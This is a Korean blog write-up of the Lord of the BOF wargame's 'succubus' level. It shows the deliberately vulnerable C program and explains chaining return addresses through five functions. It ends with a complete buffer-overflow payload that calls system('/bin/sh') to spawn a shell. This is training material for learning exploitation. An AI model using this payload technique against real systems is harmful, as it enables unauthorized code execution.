LOB:Zombie_assassin→Succubus

LOB 2018. 5. 12. 14:35

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}




역대급으로 긴 코드가 나왔당...


구조는 단순하다. check를 1씩 증가시켜가며  DO, GYE, GUL, YUT, MO를 올라간 후, MO에 인자로 /bin/sh를 넘겨주면 system("/bin/sh"); 가 되므로 쉘을 얻을 수 있다.


먼저 DO, GYE, GUL, YUT, MO를 따로 호출하지 않는데 그 주소를 찾아가야 하므로



gdb에서 각 주소를 가져오자.


0x80487ec <DO>

0x80487bc <GYE>

0x804878c <GUL>

0x804875c <YUT>

0x8048724 <MO>


각각 주소를 알았다. 그러면 어떻게 해서 함수를 호출할까?


단순하게 스택의 구조를 생각해보자.

함수를 호출하면 스택에 RET으로 돌아갈 주소가 들어간다.

한마디로 main의 RET에 DO의 주소를, DO의 RET에 GYE의 주소를... 이렇게 반복해 나가면 된다.


`python -c 'print "\x90"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08"+"\x24\x87\x04\x08"'`



그렇다면 우선 여기까지 짜 볼 수 있다.



이제 마지막 MO에 함수를 인자를 넘겨주면 된다.


이 부분이 가장 어려웠는데, 기존처럼 NOP Sled를 사용해서 확률을 올릴 수가 없으니 정확히 /bin/sh가 시작하는 주소를 찾아야 했다. 또 gdb에서 0xFF가 제대로 입력 되지 않아 core을 뜯어보아야 했고 이 주소가 계속해서 바뀌어서 여러번 삽질을 했던 것 같다. 똑같은 과정이 반복되었으니 마지막으로 얻은 주소만 캡쳐하였다.



코어를 떨구고



스택에서 0x41414141을 찾고



정확한 주소를 찾은 뒤, (/bin/sh는 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 이다)


페이로드를 짜고,


./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x6a\xfa\xff\xbf" + "\x90\x90" + "/bin/sh"'`




입력하였다.


문제푸는데 20시간 넘게걸린것 같다.

'LOB' 카테고리의 다른 글

LOB:Nightmare→Xavius  (0) 2018.05.14
LOB:Succubus→Nightmare  (0) 2018.05.14
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
LOB:Bugbear→Giant  (0) 2018.04.30
블로그 이미지

천재보다는 범재

,